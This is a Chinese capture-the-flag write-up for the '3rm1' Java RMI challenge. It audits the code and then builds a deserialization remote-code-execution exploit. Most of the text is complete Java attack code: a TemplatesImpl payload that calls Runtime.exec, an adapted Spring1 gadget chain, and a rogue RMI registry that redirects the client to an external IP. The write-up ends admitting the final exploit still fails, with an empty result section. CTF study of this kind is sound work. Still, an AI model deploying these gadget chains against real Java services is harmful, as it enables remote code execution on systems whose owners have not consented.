3rm1 tctf/0ctf wp
代码审计
有客户端(flag)和服务端
jdk8u201 (!=jdk8u121,无JEP290限制;jdk>191, 若jndi注入需要考虑高版本)
客户端
非spring
javawebmvc,核心代码
try { LocateRegistry.getRegistry("rmiserver", 1099).lookup(t.getRequestURI().getQuery()).sayHello("yxxx"); } catch (Exception e) { response = "0ops, something wrong!"; }
存在lookup方法且可控
值得注意的是前面已经getRegistry("rmiserver", 1099)
了,也就是服务ip和port看似不可控(指向了题目服务端)
其他类:(一看就是用来绕rmi高版本的)
MyInvocationHandler(起到InvocationHandler的作用) Gadget (提供了readObject和一些反射修改方法) ClientUserImpl(实现了UserInter,是个demo类) 其余类不是很重要
服务端
绑定到UserImpl上,是个demo
思路
审计得到2点
1.lookup可控但getRegistry("rmiserver", 1099),限制了ip:port
2.假如第1点可以绕过,那么需要考虑高版本jndi的情形,使用题目给的demo构造反序列化
由于题目给了很多demo类,所以认为第1点大概率是可以绕的,并且有jndi互相攻击的前科
背景
jndi互相攻击:【技术干货】RMI-攻击方式总结 - 知乎 (zhihu.com)
提到过Register攻击Server&Client(JRMP 服务端攻击 JRMP 客户端)
学了一下https://i.blackhat.com/eu-19/Wednesday/eu-19-An-Far-Sides-Of-Java-Remote-Protocols.pdf
知道了绕过高版本jdk限制除本地服务外的其它连接来注册对象(CVE-2019-2684),
打算工具一把梭https://github.com/qtc-de/remote-method-guesser
验证了一下urldns可以打通,说明存在反序列化,找可以rce的链子
之前学cc1的时候,得知jdk8u65之后删除了AnnotationInvocationHandler.readObject方法
题目有MyInvocationHandler方法
分析
类的特点
Gadget有readObject->一眼入口
private void readObject(ObjectInputStream inputStream) throws IOException, ClassNotFoundException { inputStream.defaultReadObject(); // 这个看不懂,大概不是正常的readObject try { findMethod(this.user.getGirlFriend().getClass(), this.mName).invoke(this.user.getGirlFriend(), new Object[0]); //调用这个method } catch (Exception e) { e.printStackTrace(); } } // 反射获取methodName的方法 private Method findMethod(Class clazz, String methodName) throws NoSuchMethodException { Method method = clazz.getDeclaredMethod(methodName, new Class[0]); method.setAccessible(true); return method; }
readObject功能:调用this.user.getGirlFriend().getClass()的一个方法
this.user.getGirlFriend().getClass()是demo类ClientUserImpl,我们可以new完后反射修改里面的属性和方法
看到Friend getGirlFriend() throws RemoteException;
得知getGirlFriend一定是返回一个Friend类,
看到public interface Friend extends Remote
得知getGirlFriend一定是返回一个Remote类(接口)
调用继承remote的类的任意方法-》rce
卡了
后面给了hint(ysoserial’s spring1) ,
学一下
猜对了,用的getTemplateImpl(因为jdk自带)
package org.apache.commons.collections; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InstantiateTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Field; import java.util.Base64; import java.util.HashMap; import java.util.Map; public class ccone { public static void setValue(String name, Object target, Object value) { try { Field field = target.getClass().getDeclaredField(name); field.setAccessible(true); field.set(target, value); } catch (Exception ignore) { } } public static void setValue(Object target, String name, Object value) throws Exception { Class c = target.getClass(); Field field = c.getDeclaredField(name); field.setAccessible(true); field.set(target,value); } public static byte[] getTemplatesImpl(String cmd) { try { ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("Evil"); CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"); ctClass.setSuperclass(superClass); CtConstructor constructor = ctClass.makeClassInitializer(); constructor.setBody(" try {\n" + " Runtime.getRuntime().exec(\"" + cmd + "\");\n" + " } catch (Exception ignored) {\n" + " }"); byte[] bytes = ctClass.toBytecode(); ctClass.defrost(); return bytes; } catch (Exception e) { e.printStackTrace(); return new byte[]{}; } } public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); setValue(templates,"_name", "aaa"); byte[] code = getTemplatesImpl("calc"); byte[][] bytecodes = {code}; setValue(templates, "_bytecodes", bytecodes); setValue(templates,"_tfactory", new TransformerFactoryImpl()); templates.newTransformer(); } }
弹计算器了
因为题目这个是调方法
尝试action.invoke一下也成了
public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); setValue(templates,"_name", "aaa"); byte[] code = getTemplatesImpl("calc"); byte[][] bytecodes = {code}; setValue(templates, "_bytecodes", bytecodes); setValue(templates,"_tfactory", new TransformerFactoryImpl()); //templates.newTransformer(); Class persons = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); Method action = persons.getMethod("newTransformer"); action.invoke(templates); }
谈计算器(相当于测了一下反射)
spring1
对应一下前面类的特点,替换掉原来的链
//org.springframework.core.SerializableTypeWrapper.MethodInvokeTypeProvider com.ctf.threermi.Gadget //org.springframework.beans.factory.support.AutowireUtils.ObjectFactoryDelegatingInvocationHandler com.ctf.threermi.MyInvocationHandler //sun.reflect.annotation.AnnotationInvocationHandler 这个自带,不用改 sun.reflect.annotation.AnnotationInvocationHandler
贴个调好的spring1exp
package exp; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor; import org.springframework.beans.factory.ObjectFactory; import javax.rmi.CORBA.Util; import javax.xml.transform.Templates; import java.io.*; import java.lang.annotation.Target; import java.lang.reflect.*; import java.util.HashMap; public class SpringExp { public static byte[] getTemplatesImpl(String cmd) { try { ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("Evil"); CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"); ctClass.setSuperclass(superClass); CtConstructor constructor = ctClass.makeClassInitializer(); constructor.setBody(" try {\n" + " Runtime.getRuntime().exec(\"" + cmd + "\");\n" + " } catch (Exception ignored) {\n" + " }"); byte[] bytes = ctClass.toBytecode(); ctClass.defrost(); return bytes; } catch (Exception e) { e.printStackTrace(); return new byte[]{}; } } public static void setValue(Object target, String name, Object value) throws Exception { Class c = target.getClass(); Field field = c.getDeclaredField(name); field.setAccessible(true); field.set(target,value); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } public static void main(String[] args) throws Exception { // templateImpl TemplatesImpl tmpl = new TemplatesImpl(); setValue(tmpl,"_name", "aaa"); byte[] code = getTemplatesImpl("calc"); byte[][] bytecodes = {code}; setValue(tmpl, "_bytecodes", bytecodes); setValue(tmpl,"_tfactory", new TransformerFactoryImpl()); // 使用 AnnotationInvocationHandler 动态代理 Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> constructor = c.getDeclaredConstructors()[0]; constructor.setAccessible(true); HashMap<String, Object> map = new HashMap<>(); map.put("getObject", tmpl); // 使用动态代理初始化 AnnotationInvocationHandler InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map); // 使用 AnnotationInvocationHandler 动态代理 ObjectFactory 的 getObject 方法,使其返回 TemplatesImpl ObjectFactory<?> factory = (ObjectFactory<?>) Proxy.newProxyInstance( ClassLoader.getSystemClassLoader(), new Class[]{ObjectFactory.class}, invocationHandler); // 当触发factory.getObject()方法时,返回值就被修改为tmpl // test : factory.toString(); //ObjectFactoryDelegatingInvocationHandler 的 invoke 方法触发 ObjectFactory 的 getObject //并且会调用 method.invoke(返回值,args) //此时返回值被我们使用动态代理改为了 TemplatesImpl //接下来需要 method 是 newTransformer(),就可以触发调用链了 Class<?> clazz = Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler"); Constructor<?> ofdConstructor = clazz.getDeclaredConstructors()[0]; ofdConstructor.setAccessible(true); // 使用动态代理出的 ObjectFactory 类实例化 ObjectFactoryDelegatingInvocationHandler InvocationHandler ofdHandler = (InvocationHandler) ofdConstructor.newInstance(factory); //HashMap hashMap = (HashMap) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),HashMap.class.getInterfaces(),ofdHandler); //hashMap.get(1); // ObjectFactoryDelegatingInvocationHandler 本身就是个 InvocationHandler // 使用它来代理一个类,这样在这个类调用时将会触发 ObjectFactoryDelegatingInvocationHandler 的 invoke 方法 // 我们用它代理一个既是 Type 类型又是 Templates(TemplatesImpl 父类) 类型的类 // 这样这个代理类同时拥有两个类的方法,既能被强转为 TypeProvider.getType() 的返回值,又可以在其中找到 newTransformer 方法 Type typeTemplateProxy = (Type) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Type.class, Templates.class}, ofdHandler); // typeTemplateProxy.hashCode(); // 接下来代理 TypeProvider 的 getType() 方法,使其返回我们创建的 typeTemplateProxy 代理类 HashMap<String, Object> map2 = new HashMap<>(); map2.put("getType", typeTemplateProxy); InvocationHandler newInvocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map2); Class<?> typeProviderClass = Class.forName("org.springframework.core.SerializableTypeWrapper$TypeProvider"); // 使用 AnnotationInvocationHandler 动态代理 TypeProvider 的 getType 方法,使其返回 typeTemplateProxy Object typeProviderProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{typeProviderClass}, newInvocationHandler); // 初始化 MethodInvokeTypeProvider Class<?> clazz2 = Class.forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider"); Constructor<?> cons = clazz2.getDeclaredConstructors()[0]; cons.setAccessible(true); // 由于 MethodInvokeTypeProvider 初始化时会立即调用 ReflectionUtils.invokeMethod(method, provider.getType()) // 所以初始化时我们随便给个 Method,methodName 我们使用反射写进去 Object objects = cons.newInstance(typeProviderProxy, Object.class.getMethod("toString"), 0); Field field = clazz2.getDeclaredField("methodName"); field.setAccessible(true); field.set(objects, "newTransformer"); //serialize(objects); unserialize("ser.bin"); } }
AnnotationInvocationHandler
看到选中部分的数据类型和getObject方法
修改一下
// 使用 AnnotationInvocationHandler 动态代理 Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> constructor = c.getDeclaredConstructors()[0]; constructor.setAccessible(true); HashMap<String, Object> map = new HashMap<>(); //map.put("getObject", templates); map.put("getObject", templates); // 使用动态代理初始化 AnnotationInvocationHandler InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map); // 使用 AnnotationInvocationHandler 动态代理 FactoryInter 的 getObject 方法,使其返回 TemplatesImpl FactoryInter factory = (FactoryInter) Proxy.newProxyInstance( ClassLoader.getSystemClassLoader(), new Class[]{FactoryInter.class}, invocationHandler);
MyInvocationHandler
替换原本的ObjectFactoryDelegatingInvocationHandler
UserInter是因为
代码修改如下
//MyInvocationHandler 的 invoke 方法触发 FactoryInter 的 getObject //并且会调用 method.invoke(返回值,args) //此时返回值被我们使用动态代理改为了 TemplatesImpl //接下来需要 method 是 newTransformer(),就可以触发调用链了 Class<?> clazz = Class.forName("com.ctf.threermi.MyInvocationHandler"); Constructor<?> ofdConstructor = clazz.getDeclaredConstructors()[0]; ofdConstructor.setAccessible(true); // 使用动态代理出的 ObjectFactory 类实例化 ObjectFactoryDelegatingInvocationHandler InvocationHandler ofdHandler = (InvocationHandler) ofdConstructor.newInstance(factory); //HashMap hashMap = (HashMap) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),HashMap.class.getInterfaces(),ofdHandler); //hashMap.get(1); // MyInvocationHandler 本身就是个 InvocationHandler // 使用它来代理一个类,这样在这个类调用时将会触发 MyInvocationHandler 的 invoke 方法 // 我们用它代理一个既是 Type 类型又是 Templates(TemplatesImpl 父类) 类型的类 // 这样这个代理类同时拥有两个类的方法,既能被强转为 TypeProvider.getType() 的返回值,又可以在其中找到 newTransformer 方法 Friend typeTemplateProxy = (Friend) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Friend.class, Templates.class}, ofdHandler); // 接下来代理 UserInter 的 getGirlFriend() 方法,使其返回我们创建的 (UserInter)typeTemplateProxy 代理类 HashMap<String, Object> map2 = new HashMap<>(); map2.put("getGirlFriend", typeTemplateProxy); InvocationHandler newInvocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map2); Class<?> typeProviderClass = Class.forName("com.ctf.threermi.UserInter"); // 使用 AnnotationInvocationHandler 动态代理 TypeProvider 的 getType 方法,使其返回 typeTemplateProxy Object typeProviderProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{typeProviderClass}, newInvocationHandler);
Gadget
因为
所以
// 初始化 Gadget Class<?> clazz2 = Class.forName("com.ctf.threermi.Gadget"); Constructor<?> cons = clazz2.getDeclaredConstructors()[0]; cons.setAccessible(true); // 由于 MethodInvokeTypeProvider 初始化时会立即调用 ReflectionUtils.invokeMethod(method, provider.getType()) // 所以初始化时我们随便给个 Method,methodName 我们使用反射写进去 Object objects = cons.newInstance(typeProviderProxy, Object.class.getMethod("toString"), 0);
xs,跑完后报错,发现构造函数没改
一看MyInvocationHandler没有构造函数
所以FactotyInter要自己改
// 使用动态代理出的 ObjectFactory 类实例化 ObjectFactoryDelegatingInvocationHandler //InvocationHandler ofdHandler = (InvocationHandler) ofdConstructor.newInstance(factory); InvocationHandler ofdHandler = (InvocationHandler) ofdConstructor.newInstance(); setValue(ofdHandler,"object",factory);
Gadget也没有构造函数,需要自己setValue
//Object objects = cons.newInstance(typeProviderProxy, Object.class.getMethod("toString"), 0); Object objects = cons.newInstance(); setValue(objects,"mName","newTransformer"); setValue(objects,"user",typeProviderProxy);
最终exp-jdk8u65
package exp; import com.ctf.threermi.FactoryInter; import com.ctf.threermi.Friend; import com.ctf.threermi.UserInter; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor; import org.springframework.beans.factory.ObjectFactory; import javax.xml.transform.Templates; import java.io.*; import java.lang.annotation.Target; import java.lang.reflect.*; import java.util.HashMap; public class Demo { public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser1.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } public static void setValue(Object target, String name, Object value) throws Exception { Class c = target.getClass(); Field field = c.getDeclaredField(name); field.setAccessible(true); field.set(target,value); } public static byte[] getTemplatesImpl(String cmd) { try { ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("Evil"); CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"); ctClass.setSuperclass(superClass); CtConstructor constructor = ctClass.makeClassInitializer(); constructor.setBody(" try {\n" + " Runtime.getRuntime().exec(\"" + cmd + "\");\n" + " } catch (Exception ignored) {\n" + " }"); byte[] bytes = ctClass.toBytecode(); ctClass.defrost(); return bytes; } catch (Exception e) { e.printStackTrace(); return new byte[]{}; } } public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); setValue(templates, "_name", "aaa"); byte[] code = getTemplatesImpl("calc"); byte[][] bytecodes = {code}; setValue(templates, "_bytecodes", bytecodes); setValue(templates, "_tfactory", new TransformerFactoryImpl()); // 使用 AnnotationInvocationHandler 动态代理 Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> constructor = c.getDeclaredConstructors()[0]; constructor.setAccessible(true); HashMap<String, Object> map = new HashMap<>(); //map.put("getObject", templates); map.put("getObject", templates); // 使用动态代理初始化 AnnotationInvocationHandler InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map); // 使用 AnnotationInvocationHandler 动态代理 FactoryInter 的 getObject 方法,使其返回 TemplatesImpl FactoryInter factory = (FactoryInter) Proxy.newProxyInstance( ClassLoader.getSystemClassLoader(), new Class[]{FactoryInter.class}, invocationHandler); // 当触发FactoryInter.getObject()方法时,返回值就被修改为tmpl // test : factory.toString(); //MyInvocationHandler 的 invoke 方法触发 FactoryInter 的 getObject //并且会调用 method.invoke(返回值,args) //此时返回值被我们使用动态代理改为了 TemplatesImpl //接下来需要 method 是 newTransformer(),就可以触发调用链了 Class<?> clazz = Class.forName("com.ctf.threermi.MyInvocationHandler"); Constructor<?> ofdConstructor = clazz.getDeclaredConstructors()[0]; ofdConstructor.setAccessible(true); // 使用动态代理出的 ObjectFactory 类实例化 ObjectFactoryDelegatingInvocationHandler //InvocationHandler ofdHandler = (InvocationHandler) ofdConstructor.newInstance(factory); InvocationHandler ofdHandler = (InvocationHandler) ofdConstructor.newInstance(); setValue(ofdHandler,"object",factory); //HashMap hashMap = (HashMap) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),HashMap.class.getInterfaces(),ofdHandler); //hashMap.get(1); // MyInvocationHandler 本身就是个 InvocationHandler // 使用它来代理一个类,这样在这个类调用时将会触发 MyInvocationHandler 的 invoke 方法 // 我们用它代理一个既是 Type 类型又是 Templates(TemplatesImpl 父类) 类型的类 // 这样这个代理类同时拥有两个类的方法,既能被强转为 TypeProvider.getType() 的返回值,又可以在其中找到 newTransformer 方法 Friend typeTemplateProxy = (Friend) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Friend.class, Templates.class}, ofdHandler); // 接下来代理 UserInter 的 getGirlFriend() 方法,使其返回我们创建的 (UserInter)typeTemplateProxy 代理类 HashMap<String, Object> map2 = new HashMap<>(); map2.put("getGirlFriend", typeTemplateProxy); InvocationHandler newInvocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map2); Class<?> typeProviderClass = Class.forName("com.ctf.threermi.UserInter"); // 使用 AnnotationInvocationHandler 动态代理 TypeProvider 的 getType 方法,使其返回 typeTemplateProxy Object typeProviderProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{typeProviderClass}, newInvocationHandler); // 初始化 Gadget Class<?> clazz2 = Class.forName("com.ctf.threermi.Gadget"); Constructor<?> cons = clazz2.getDeclaredConstructors()[0]; cons.setAccessible(true); // 由于 MethodInvokeTypeProvider 初始化时会立即调用 ReflectionUtils.invokeMethod(method, provider.getType()) // 所以初始化时我们随便给个 Method,methodName 我们使用反射写进去 //Object objects = cons.newInstance(typeProviderProxy, Object.class.getMethod("toString"), 0); Object objects = cons.newInstance(); setValue(objects,"mName","newTransformer"); setValue(objects,"user",typeProviderProxy); // serialize(objects); unserialize("ser1.bin"); } }
RemoteObjectInvocationHandler
对照wp发现不一样,原来是高版本AnnotationInvocationHandler已经被移除了,我们需要重新找到一个类似于AnnotationInvocationHandler的代理类
用codeql找一下这个特征
import java from Class c where c.getASupertype().hasName("InvocationHandler") and c.getASupertype*() instanceof TypeSerializable select c
结果找到RemoteObjectInvocationHandler
它的invoke
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { ...... return invokeRemoteMethod(proxy, method, args); } private Object invokeRemoteMethod(Object proxy, Method method, Object[] args) throws Exception { ...... if (!(proxy instanceof Remote)) { throw new IllegalArgumentException("proxy not Remote instance"); } return ref.invoke((Remote) proxy, method, args, getMethodHash(method)); ...... }
和annotionInvocationHandler在有些类似,但是感觉和ObjectFactoryDelegatingInvocationHandler更像一些,我们先用反射造一下
看到构造方法
ref 是一个远程引用(高版本的reference工厂类),里面保存着服务端的对象信息。就像我们调用 Registry 的 bind 方法时,绑定的也是远程引用。
意思是说,我们另外开启一个服务端,让客户端从我们的服务端调用我们自定义的远程方法 getObject 和 getGirlFriend
构造出 RemoteObjectInvocationHandler 中的 ref 参数研究了好久,
这里还是无法控制返回对象所以还是不能直接替换AnnotationInvocationHandler这个类,但是又有另外一个攻击思路了。
- 首先我们自己实现两个接口然后绑定到注册中心,这样ref中保存的就是我们的自己实现接口后的类。
- 然后利用RemoteObjectInvocationHandler来代理UserInter接口让题目客户端反序列化时调用的方法是我们自己实现的方法,这样我们在自己实现的类里就能控制返回对象了。
例如这样,只需要让题目客户端调用到我们自己实现的类即能控制返回对象。
由于没法直接换,所以MyInvocationHandler这里所需要的FactoryInter就要自己造,我写了个FactoryImpl 实现了 FactoryInter 接口
package exp; import com.ctf.threermi.FactoryInter; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import static exp.Demo.setValue; // FactoryImpl public class FactoryImpl implements FactoryInter { @Override public Object getObject() throws Exception { TemplatesImpl templates = new TemplatesImpl(); setValue(templates, "_name", "aaa"); byte[] code = Demo.getTemplatesImpl("calc"); byte[][] bytecodes = {code}; setValue(templates, "_bytecodes", bytecodes); setValue(templates, "_tfactory", new TransformerFactoryImpl()); return templates; } }
然后我们需要起一个服务端,就模仿我们之前rmiServer的代码
炮制一下
public class RmiServerThai { public static void main(String[] args) throws RemoteException, AlreadyBoundException, InterruptedException { Registry registry = LocateRegistry.createRegistry(7777); FactoryImpl factoryImpl = new FactoryImpl(); registry.bind("factoryImpl", factoryImpl); while (true){ System.out.println("start evil server"); sleep(1000); } } }
TestTemplateImpl验证一下
public class TestTemplateImpl { public static void main(String[] args) throws Throwable { FactoryInter factoryInterlook = (FactoryInter) Naming.lookup("rmi://127.0.0.1:7777/factoryImpl"); TemplatesImpl templates = (TemplatesImpl) factoryInterlook.getObject(); templates.newTransformer(); // 测试远程类是否是有效的 } }
报错不能反序列化
// registry.bind("factoryImpl", factoryImpl); registry.bind("factoryImpl", UnicastRemoteObject.exportObject(factoryImpl, 7777));
改一下这里,因为绑定对象必须要是一个ref
UserImpl
实现 UserImpl#getGirlFriend 返回 friendTemplatesProxy
package exp; import com.ctf.threermi.FactoryInter; import com.ctf.threermi.Friend; import com.ctf.threermi.MyInvocationHandler; import com.ctf.threermi.UserInter; import javax.xml.transform.Templates; import java.lang.reflect.Proxy; import java.rmi.Naming; import java.rmi.RemoteException; import static exp.Demo.setValue; public class userImpl implements UserInter { @Override public String sayHello(String str) throws RemoteException { return null; } @Override public Friend getGirlFriend() throws Exception { FactoryInter factoryInterlook = (FactoryInter) Naming.lookup("rmi://127.0.0.1:7777/factoryImpl"); MyInvocationHandler myInvocationHandler = new MyInvocationHandler(); setValue(myInvocationHandler, "object", factoryInterlook); Friend friendTemplatesProxy = (Friend) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class, Friend.class}, myInvocationHandler); return friendTemplatesProxy; } }
gadget#getObject
public static Object getObject(String command) throws Throwable { UserInter userInter = (UserInter) Naming.lookup("rmi://127.0.0.1:7777/userImpl"); Gadget gadget = new Gadget(); setValue(gadget,"mName","newTransformer"); setValue(gadget,"user",userInter); return gadget; }
注册中心攻击客户端,反序列化这个 Gadget
最终exp
package exp; import com.ctf.threermi.FactoryInter; import com.ctf.threermi.Friend; import com.ctf.threermi.UserInter; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor; import sun.rmi.server.UnicastRef; import sun.rmi.transport.LiveRef; import sun.rmi.transport.tcp.TCPEndpoint; import javax.xml.transform.Templates; import java.io.*; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.rmi.Remote; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.rmi.server.RemoteObjectInvocationHandler; import java.rmi.server.UnicastRemoteObject; import java.util.HashMap; import static sun.reflect.misc.FieldUtil.getField; public class RealDemo { public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser1.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } public static void setValue(Object target, String name, Object value) throws Exception { Class c = target.getClass(); Field field = c.getDeclaredField(name); field.setAccessible(true); field.set(target,value); } public static byte[] getTemplatesImpl(String cmd) { try { ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("Evil"); CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"); ctClass.setSuperclass(superClass); CtConstructor constructor = ctClass.makeClassInitializer(); constructor.setBody(" try {\n" + " Runtime.getRuntime().exec(\"" + cmd + "\");\n" + " } catch (Exception ignored) {\n" + " }"); byte[] bytes = ctClass.toBytecode(); ctClass.defrost(); return bytes; } catch (Exception e) { e.printStackTrace(); return new byte[]{}; } } public static Object getFieldValue(final Object obj, final String fieldName) throws Exception { final Field field = getField(obj.getClass(), fieldName); return field.get(obj); } public static void main(String[] args) throws Exception { //RmiServer的代码 Registry registry = LocateRegistry.createRegistry(7777); FactoryImpl factoryImpl = new FactoryImpl(); // bind可以绑多个 registry.bind("factoryImpl", UnicastRemoteObject.exportObject(factoryImpl, 7777)); userImpl user = new userImpl(); registry.bind("UserImpl", UnicastRemoteObject.exportObject(user, 7777)); //制造ref // ((UnicastRef) ((RemoteObjectInvocationHandler) ref).ref).getLiveRef().getEndpoint().getClass() InvocationHandler ref = Proxy.getInvocationHandler(registry.lookup("UserImpl")); Field field = ref.getClass().getSuperclass().getDeclaredField("ref"); field.setAccessible(true); UnicastRef unicastRef = (UnicastRef)field.get(ref); LiveRef liveRef = (LiveRef) getFieldValue(unicastRef,"ref"); TCPEndpoint tcpEndpoint = (TCPEndpoint)getFieldValue(liveRef,"ep"); setValue(tcpEndpoint,"host","8.129.42.140"); //RemoteObjectInvocationHandler Class<?> c = Class.forName("java.rmi.server.RemoteObjectInvocationHandler"); Constructor<?> constructor = c.getDeclaredConstructors()[0]; constructor.setAccessible(true); RemoteObjectInvocationHandler RemoteObjectInvocationHandler = (java.rmi.server.RemoteObjectInvocationHandler) constructor.newInstance(ref); //由于失去了AnnouceInvocationHandler,这些都不用了 // // 当触发FactoryInter.getObject()方法时,返回值就被修改为tmpl // // // test : factory.toString(); // // //MyInvocationHandler 的 invoke 方法触发 FactoryInter 的 getObject // //并且会调用 method.invoke(返回值,args) // //此时返回值被我们使用动态代理改为了 TemplatesImpl // //接下来需要 method 是 newTransformer(),就可以触发调用链了 // Class<?> clazz = Class.forName("com.ctf.threermi.MyInvocationHandler"); // Constructor<?> ofdConstructor = clazz.getDeclaredConstructors()[0]; // ofdConstructor.setAccessible(true); // // 使用动态代理出的 ObjectFactory 类实例化 ObjectFactoryDelegatingInvocationHandler // //InvocationHandler ofdHandler = (InvocationHandler) ofdConstructor.newInstance(factory); // InvocationHandler ofdHandler = (InvocationHandler) ofdConstructor.newInstance(); // setValue(ofdHandler,"object",factory); // // //HashMap hashMap = (HashMap) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),HashMap.class.getInterfaces(),ofdHandler); // //hashMap.get(1); // // MyInvocationHandler 本身就是个 InvocationHandler // // 使用它来代理一个类,这样在这个类调用时将会触发 MyInvocationHandler 的 invoke 方法 // // 我们用它代理一个既是 Type 类型又是 Templates(TemplatesImpl 父类) 类型的类 // // 这样这个代理类同时拥有两个类的方法,既能被强转为 TypeProvider.getType() 的返回值,又可以在其中找到 newTransformer 方法 // Friend typeTemplateProxy = (Friend) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), // new Class[]{Friend.class, Templates.class}, ofdHandler); // // // 接下来代理 UserInter 的 getGirlFriend() 方法,使其返回我们创建的 (UserInter)typeTemplateProxy 代理类 // HashMap<String, Object> map2 = new HashMap<>(); // map2.put("getGirlFriend", typeTemplateProxy); // // InvocationHandler newInvocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map2); // // Class<?> typeProviderClass = Class.forName("com.ctf.threermi.UserInter"); // // 使用 AnnotationInvocationHandler 动态代理 TypeProvider 的 getType 方法,使其返回 typeTemplateProxy // 下面缺参数User,直接代理一个User final UserInter userr = (UserInter) Proxy.newProxyInstance(UserInter.class.getClassLoader(),new Class[]{UserInter.class, Remote.class},RemoteObjectInvocationHandler); // Object typeProviderProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), // new Class[]{UserInter}, newInvocationHandler); // 初始化 Gadget Class<?> clazz2 = Class.forName("com.ctf.threermi.Gadget"); Constructor<?> cons = clazz2.getDeclaredConstructors()[0]; cons.setAccessible(true); // 由于 MethodInvokeTypeProvider 初始化时会立即调用 ReflectionUtils.invokeMethod(method, provider.getType()) // 所以初始化时我们随便给个 Method,methodName 我们使用反射写进去 //Object objects = cons.newInstance(typeProviderProxy, Object.class.getMethod("toString"), 0); Object objects = cons.newInstance(); setValue(objects,"mName","newTransformer"); setValue(objects,"user",userr); serialize(objects); unserialize("ser1.bin"); } }
这个还是有问题,我们修改一下UserImpl
结果
